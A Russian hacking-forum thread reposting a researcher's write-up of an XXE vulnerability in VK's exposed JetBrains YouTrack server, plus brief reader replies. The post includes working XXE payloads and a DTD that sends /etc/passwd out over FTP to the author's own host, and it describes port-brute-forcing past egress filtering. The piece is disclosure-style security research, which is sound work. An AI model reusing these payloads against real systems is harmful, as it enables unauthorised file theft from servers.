Перейти к содержимому



Купить ссылку здесь
Фотография
- - - - -

Vk - история одного взлома

Форум ZiSMO.biz
9
Сообщений в теме: 9

OFFLINE Отправлено

Maneuvers
группа пользователя

    LT-VK.RU ЗАХОДИ

  • Cообщений: 1 529
  • Друзей:3447
  • Поинты: 823
  • Предупреждений: 10
  • Онлайн:34д 19ч 15м
150
Привет! Видел запись про XXE с помощью RSS, которая позволяла читать файлы в vk? Так вот, буквально на следующий день появилась более интересная возможность читать произвольные файлы, да не абы-где, а на проектах внутренней инфраструктуры компании. Теперь обо всём по порядку.
Началось все с того, что после брута поддоменов, нашлись интересные экземпляры…
1.png
 
Поддомены TeamCity, Upsource, YouTrack — это одноименные системы непрерывной интеграции, рецензирования кода и баг-трекер от компании JetBrains.
При попытке зайти на youtrack.vk.com — браузер ругался на невалидный сертификат, так как он принадлежит youtrack.vk-cdn.net. CDN так CDN — идем туда.
В целом, с найденными системами я ничего не смог сделать, подбор паролей не давал результатов, найденная XSS в YouTrack была трудноэксплуатируема (для старых IE).

 

Пришло время изучать API:

 

Для YouTrack нашлась отличная документация для REST API. Тыкая в нее палкой, нашёл только enumeration-баги. Например, перебирая различные варианты обращения к проектам и изучая аномалии ответов от сервера, можно узнать какую-нибудь информацию, например имена проектов. Затем, обращаясь к номерам, можно перебрать количество тикетов.
Например:
https://youtrack.vk-cdn.net/rest/issue/ololo/execute?comment=bo0om — вернет 404
https://youtrack.vk-cdn.net/rest/issue/API-252/execute?comment=bo0om — попросит ввести логин/пароль
https://youtrack.vk-cdn.net/rest/issue/API-1337/execute?comment=bo0om — вернет 404 (такого номера тикета нет)
Но и на этом далеко не уедешь! ??
Но вот интересный метод Import Users! С помощью PUT запроса можно передать XML:
PUT /rest/import/users?test=1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="lenin@mavzoley.su"/>
</list>
В качестве ответа  от сервера будет сообщение, что эта функция работает только для администратора веб-приложения ??
Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://xxe.bo0om.ru/xxe-test">
%xxe;
]>
<list></list>

Ко мне на сервер приходит запрос:

GET /xxe-test HTTP/1.1
HOST: xxe.bo0om.ru
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive

Всё становится интереснее  :)

 

Вот он - самый сок:

То, что используется java — это даёт нам огромное преимущество! Напомню крутую фичу в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.

 

Создал я файл, java.dtd:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

Сел слушать 21 порт (FTP), отправляю атакующий HTTP-пакет:

PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://xxe.bo0om.ru/java.dtd">
%xxe;
]>
<list></list>
Ииии… Ничего не происходит. Попробовал ещё разок — ничего.
Несколько раз перепроверил вектор — вроде все отлично. Сменил порт на 80 и 443 — пусто. Может FTP каким-то образом отключено и не поддерживается?
 

1.png

 

Поставил dnschef. На самом деле это DNS сервер для выполнения MITM атак, но я его заюзал как мониторинг DNS запросов. Проверил — резолв доменного имени происходит. Значит отправка данных блокируется фаерволом (чуваки из vk знают магию iptables).
Начал перебирать порты. Долго-ли, коротко-ли брутились порты, и тут на сервер перелетает пакет…

 

 

Победа:

Опытным путем выяснилось, что наружу пускает порт 1935, а это уже фактически — победа. Конечный dtd выглядил так:

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

К сожалению, java была запущена не от суперпользователя (плак-плак), что очень часто бывает. Тем временем, я переместил java.dtd на домен defconrussia.ru и записал следующее видео:

 

Когда JetBrains узнали о уязвимости в их продукте, быстро зафиксили и сообщили где именно и какого типа уязвимость.
¯ \ _ (ツ) _ / ¯
А меня упомянуть забыли. Ну да ладно. Надеюсь, прочие 15k+ клиентов не пострадали.
1.png
 
Прикольно, что попав в YouTrack я бы узнал обо всех багах и уязвимостях, которые есть вконтакте и в их проектах. Достав логины и пароли — получил бы доступ к другим проектам. Получил бы доступ к upsource — получил бы доступ к исходным кодам (инфа сотка)! Так я бы стал богатым и знаменитым, осталось бы только захватить мир — и жить станет неинтересно. Поэтому я так не делал, а сообщил о найденной уязвимости и даже получил за это деньги!
Какие делаем выводы?
Всё, что предназначено для внутренней инфраструктуры — оставляем внутри, в противном случае закрываем доступ из сети Интернет
Читаем документацию
Имеем силу воли, чтоб не посмотреть одним глазком чужие исходники

 





    • 1
  • Наверх
  • Ответить

OFFLINE Отправлено

Владислав Град 0
группа пользователя

    торговец славой

  • Cообщений: 141
  • Поинты: 8
  • Предупреждений: 0
  • Онлайн:7д 2ч 28м
3

забыл в конце написать  - а потом я проснулся


    • 1
  • Наверх
  • Ответить

OFFLINE Отправлено

KreedMD
группа пользователя

    Новичок

  • Cообщений: 71
  • Друзей:1
  • Поинты: 3
  • Предупреждений: 50
0

Нормально 


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

Алексуров
группа пользователя

    Хочу стать Постоянным

  • Cообщений: 477
  • Друзей:17
  • Поинты: 191
  • Предупреждений: 0
  • Онлайн:15д 4ч 57м
14

Интересно. Попытка неплохая.


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

doktorrr123
группа пользователя

    Лучший бот для соц сетей: https://goo.gl/2jlQSy

  • Cообщений: 330
  • Поинты: 8
  • Предупреждений: 0
  • Онлайн:17д 6ч 53м
10

Мистер  Андерсон,  это вы? (rofl) 

bNvBJvb.gif

 


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

Надточий Влад
группа пользователя

    Пользователь

  • Cообщений: 444
  • Друзей:9
  • Поинты: 15
  • Предупреждений: 0
  • Онлайн:12д 15ч 23м
3

друг не ломай ВК - я там каждый день сижу :(


Хостинг от 5 рублей в месяц !!! https://goo.gl/Or1EX2

    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

FGMA
группа пользователя

    | fgma.ru | аккаунты vk + купоны

  • Cообщений: 8 735
  • Друзей:51
  • Поинты: 10 314
  • Предупреждений: 10
  • Онлайн:32д 5ч 29м
495

Прочитал с интересом, жаль мало понимаю в этом..


93a54d6658f1.gif

    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

heroverin
группа пользователя

    https://heroverin.ru/

  • Cообщений: 362
  • Друзей:73
  • Поинты: 5
  • Предупреждений: 50
2

норм


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

XaKeR_xD
группа пользователя

    Пользователь

  • Cообщений: 921
  • Поинты: 579
  • Предупреждений: 0
  • Онлайн:17д 12ч 57м
22

Неопытным в данной сфере тяжело будет понять)

А так, спасибо за инфу)


    • 0
  • Наверх
  • Ответить

OFFLINE Отправлено

RobertBrent
группа пользователя

    Пользователь

  • Cообщений: 281
  • Друзей:13
  • Поинты: 16
  • Предупреждений: 0
  • Онлайн:5д 10ч 25м
2

с меня лайк


    • 0
  • Наверх
  • Ответить



Напишите свое сообщение